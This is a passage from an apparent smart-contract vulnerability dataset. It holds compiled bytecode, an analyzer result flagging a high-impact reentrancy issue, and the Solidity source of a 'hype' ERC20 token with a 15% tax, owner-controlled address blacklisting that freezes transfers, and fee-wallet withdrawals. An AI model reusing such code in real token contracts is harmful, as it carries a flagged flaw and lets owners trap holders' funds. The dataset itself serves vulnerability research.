15260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611b00565b610a46565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a75565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611c08565b60405180910390fd5b60005b81518110156106685760016010600084848151811061062457610624611c3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066081611c69565b915050610603565b5050565b6000610679338484610b5f565b5060015b92915050565b6000610690848484610c83565b6106e284336106dd85604051806060016040528060288152602001611d83602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bf565b610b5f565b5060019392505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b457506013546001600160a01b0316336001600160a01b0316145b6107bd57600080fd5b476107c7816111f9565b50565b6001600160a01b03811660009081526002602052604081205461067d90611233565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016105f790611c08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016105f790611c08565b601655565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016105f790611c08565b601855565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105f790611c08565b600893909355600a91909155600955600b55565b6000610679338484610c83565b6012546001600160a01b0316336001600160a01b0316148061098657506013546001600160a01b0316336001600160a01b0316145b61098f57600080fd5b600061099a306107ca565b90506107c7816112b7565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105f790611c08565b60005b82811015610a405781600560008686858181106109f1576109f1611c3d565b9050602002016020810190610a069190611ab8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3881611c69565b9150506109d2565b50505050565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016105f790611c08565b601755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b156110b857601554600160a01b900460ff16610e70576000546001600160a01b03848116911614610e705760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610ec25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0457506001600160a01b03821660009081526010602052604090205460ff16155b610f5c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610fe15760175481610f7e846107ca565b610f889190611c84565b10610fe15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610fec306107ca565b6018546016549192508210159082106110055760165491505b80801561101c5750601554600160a81b900460ff16155b801561103657506015546001600160a01b03868116911614155b801561104b5750601554600160b01b900460ff165b801561107057506001600160a01b03851660009081526005602052604090205460ff16155b801561109557506001600160a01b03841660009081526005602052604090205460ff16155b156110b5576110a3826112b7565b4780156110b3576110b3476111f9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fa57506001600160a01b03831660009081526005602052604090205460ff165b8061112c57506015546001600160a01b0385811691161480159061112c57506015546001600160a01b03848116911614155b15611139575060006111b3565b6015546001600160a01b03858116911614801561116457506014546001600160a01b03848116911614155b1561117657600854600c55600954600d555b6015546001600160a01b0384811691161480156111a157506014546001600160a01b03858116911614155b156111b357600a54600c55600b54600d555b610a4084848484611440565b600081848411156111e35760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611c9c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610668573d6000803e3d6000fd5b600060065482111561129a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b60006112a461146e565b90506112b08382611491565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ff576112ff611c3d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135357600080fd5b505afa158015611367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138b9190611cb3565b8160018151811061139e5761139e611c3d565b6001600160a01b0392831660209182029290920101526014546113c49130911684610b5f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fd908590600090869030904290600401611cd0565b600060405180830381600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144d5761144d6114d3565b611458848484611501565b80610a4057610a40600e54600c55600f54600d55565b600080600061147b6115f8565b909250905061148a8282611491565b9250505090565b60006112b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b600c541580156114e35750600d54155b156114ea57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151387611666565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154590876116c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115749086611705565b6001600160a01b03891660009081526002602052604090205561159681611764565b6115a084836117ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116138282611491565b82101561162f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116595760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611d41565b60008060008060008060008060006116838a600c54600d546117d2565b925092509250600061169361146e565b905060008060006116a68e878787611827565b919e509c509a509598509396509194505050505091939550919395565b60006112b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b6000806117128385611c84565b9050838110156112b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b600061176e61146e565b9050600061177c8383611877565b306000908152600260205260409020549091506117999082611705565b30600090815260026020526040902055505050565b6006546117bb90836116c3565b6006556007546117cb9082611705565b6007555050565b60008080806117ec60646117e68989611877565b90611491565b905060006117ff60646117e68a89611877565b90506000611817826118118b866116c3565b906116c3565b9992985090965090945050505050565b60008080806118368886611877565b905060006118448887611877565b905060006118528888611877565b905060006118648261181186866116c3565b939b939a50919850919650505050505050565b6000826118865750600061067d565b60006118928385611d63565b90508261189f8583611d41565b146112b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b803561192c8161190c565b919050565b6000602080838503121561194457600080fd5b823567ffffffffffffffff8082111561195c57600080fd5b818501915085601f83011261197057600080fd5b813581811115611982576119826118f6565b8060051b604051601f19603f830116810181811085821117156119a7576119a76118f6565b6040529182528482019250838101850191888311156119c557600080fd5b938501935b828510156119ea576119db85611921565b845293850193928501926119ca565b98975050505050505050565b600060208083528351808285015260005b81811015611a2357858101830151858201604001528201611a07565b81811115611a35576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5e57600080fd5b8235611a698161190c565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b8335611a978161190c565b92506020840135611aa78161190c565b929592945050506040919091013590565b600060208284031215611aca57600080fd5b81356112b08161190c565b8035801515811461192c57600080fd5b600060208284031215611af757600080fd5b6112b082611ad5565b600060208284031215611b1257600080fd5b5035919050565b60008060008060808587031215611b2f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff80821115611b7857600080fd5b818601915086601f830112611b8c57600080fd5b813581811115611b9b57600080fd5b8760208260051b8501011115611bb057600080fd5b602092830195509350611bc69186019050611ad5565b90509250925092565b60008060408385031215611be257600080fd5b8235611bed8161190c565b91506020830135611bfd8161190c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7d57611c7d611c53565b5060010190565b60008219821115611c9757611c97611c53565b500190565b600082821015611cae57611cae611c53565b500390565b600060208284031215611cc557600080fd5b81516112b08161190c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d205784516001600160a01b031683529383019391830191600101611cfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7d57611d7d611c53565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c9e97ef2b58e59a49112239ae19a921e83a6b0571f95a29d76bfb2a4dc3f174b64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 650 |
0x43fd3a792950253e49020054907736b6a2b48614 | /**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
// SPDX-License-Identifier: Unlicensed
//telegram @hypehype_token
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract hype is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 1;
uint256 private _tax = 15;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "hyep^hype";
string private constant _symbol = "hype^hype";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function reduceTax(uint256 newtax) external{
require(newtax < 11);
require(_msgSender() == _feeAddrWallet1);
_tax = newtax;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external onlyOwner(){
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external onlyOwner(){
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102f6578063c3c8cd8014610316578063c9567bf91461032b578063dd62ed3e14610340578063ef9858941461038657600080fd5b806370a0823114610267578063715018a6146102875780638da5cb5b1461029c57806395d89b41146102c457600080fd5b806323b872dd116100dc57806323b872dd146101d6578063313ce567146101f6578063537df3b6146102125780635932ead1146102325780636fc3eaec1461025257600080fd5b806306fdde031461011957806308aad1f11461015d578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526009815268687965705e6879706560b81b60208201525b60405161015491906114d3565b60405180910390f35b34801561016957600080fd5b5061017d610178366004611372565b6103a6565b005b34801561018b57600080fd5b5061019f61019a366004611426565b6103fd565b6040519015158152602001610154565b3480156101bb57600080fd5b5069d3c21bcecceda10000005b604051908152602001610154565b3480156101e257600080fd5b5061019f6101f13660046113e5565b610414565b34801561020257600080fd5b5060405160098152602001610154565b34801561021e57600080fd5b5061017d61022d366004611372565b61047d565b34801561023e57600080fd5b5061017d61024d366004611452565b6104c8565b34801561025e57600080fd5b5061017d610510565b34801561027357600080fd5b506101c8610282366004611372565b61053d565b34801561029357600080fd5b5061017d61055f565b3480156102a857600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102d057600080fd5b50604080518082019091526009815268687970655e6879706560b81b6020820152610147565b34801561030257600080fd5b5061019f610311366004611426565b6105d3565b34801561032257600080fd5b5061017d6105e0565b34801561033757600080fd5b5061017d610616565b34801561034c57600080fd5b506101c861035b3660046113ac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039257600080fd5b5061017d6103a136600461148c565b6109e0565b6000546001600160a01b031633146103d95760405162461bcd60e51b81526004016103d090611528565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600061040a338484610a12565b5060015b92915050565b6000610421848484610b36565b610473843361046e8560405180606001604052806028815260200161168e602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c88565b610a12565b5060019392505050565b6000546001600160a01b031633146104a75760405162461bcd60e51b81526004016103d090611528565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104f25760405162461bcd60e51b81526004016103d090611528565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461053057600080fd5b4761053a81610cc2565b50565b6001600160a01b03811660009081526002602052604081205461040e90610cfc565b6000546001600160a01b031633146105895760405162461bcd60e51b81526004016103d090611528565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061040a338484610b36565b600e546001600160a01b0316336001600160a01b03161461060057600080fd5b600061060b3061053d565b905061053a81610d80565b6000546001600160a01b031633146106405760405162461bcd60e51b81526004016103d090611528565b601054600160a01b900460ff161561069a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103d0565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d8308269d3c21bcecceda1000000610a12565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610749919061138f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079157600080fd5b505afa1580156107a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c9919061138f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081157600080fd5b505af1158015610825573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610849919061138f565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306108798161053d565b60008061088e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f157600080fd5b505af1158015610905573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061092a91906114a5565b50506010805469d3c21bcecceda100000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109a457600080fd5b505af11580156109b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109dc919061146f565b5050565b600b81106109ed57600080fd5b600e546001600160a01b0316336001600160a01b031614610a0d57600080fd5b600b55565b6001600160a01b038316610a745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d0565b6001600160a01b038216610ad55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d0565b6001600160a01b03831660009081526006602052604090205460ff1615610bbe57600080fd5b6001600160a01b0383163014610c5757600a54600c55600b54600d556000610be53061053d565b601054909150600160a81b900460ff16158015610c1057506010546001600160a01b03858116911614155b8015610c255750601054600160b01b900460ff165b15610c55578015610c3957610c3981610d80565b476706f05b59d3b20000811115610c5357610c5347610cc2565b505b505b6000546001600160a01b0384811691161415610c78576000600d819055600c555b610c83838383610f09565b505050565b60008184841115610cac5760405162461bcd60e51b81526004016103d091906114d3565b506000610cb98486611627565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109dc573d6000803e3d6000fd5b6000600854821115610d635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d0565b6000610d6d610f14565b9050610d798382610f37565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc857610dc8611654565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e1c57600080fd5b505afa158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e54919061138f565b81600181518110610e6757610e67611654565b6001600160a01b039283166020918202929092010152600f54610e8d9130911684610a12565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ec690859060009086903090429060040161155d565b600060405180830381600087803b158015610ee057600080fd5b505af1158015610ef4573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c83838383610f79565b6000806000610f21611070565b9092509050610f308282610f37565b9250505090565b6000610d7983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b4565b600080600080600080610f8b876110e2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fbd908761113f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fec9086611181565b6001600160a01b03891660009081526002602052604090205561100e816111e0565b611018848361122a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161105d91815260200190565b60405180910390a3505050505050505050565b600854600090819069d3c21bcecceda100000061108d8282610f37565b8210156110ab5750506008549269d3c21bcecceda100000092509050565b90939092509050565b600081836110d55760405162461bcd60e51b81526004016103d091906114d3565b506000610cb984866115e6565b60008060008060008060008060006110ff8a600c54600d5461124e565b925092509250600061110f610f14565b905060008060006111228e8787876112a3565b919e509c509a509598509396509194505050505091939550919395565b6000610d7983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c88565b60008061118e83856115ce565b905083811015610d795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d0565b60006111ea610f14565b905060006111f883836112f3565b306000908152600260205260409020549091506112159082611181565b30600090815260026020526040902055505050565b600854611237908361113f565b6008556009546112479082611181565b6009555050565b6000808080611268606461126289896112f3565b90610f37565b9050600061127b60646112628a896112f3565b905060006112938261128d8b8661113f565b9061113f565b9992985090965090945050505050565b60008080806112b288866112f3565b905060006112c088876112f3565b905060006112ce88886112f3565b905060006112e08261128d868661113f565b939b939a50919850919650505050505050565b6000826113025750600061040e565b600061130e8385611608565b90508261131b85836115e6565b14610d795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d0565b60006020828403121561138457600080fd5b8135610d798161166a565b6000602082840312156113a157600080fd5b8151610d798161166a565b600080604083850312156113bf57600080fd5b82356113ca8161166a565b915060208301356113da8161166a565b809150509250929050565b6000806000606084860312156113fa57600080fd5b83356114058161166a565b925060208401356114158161166a565b929592945050506040919091013590565b6000806040838503121561143957600080fd5b82356114448161166a565b946020939093013593505050565b60006020828403121561146457600080fd5b8135610d798161167f565b60006020828403121561148157600080fd5b8151610d798161167f565b6000602082840312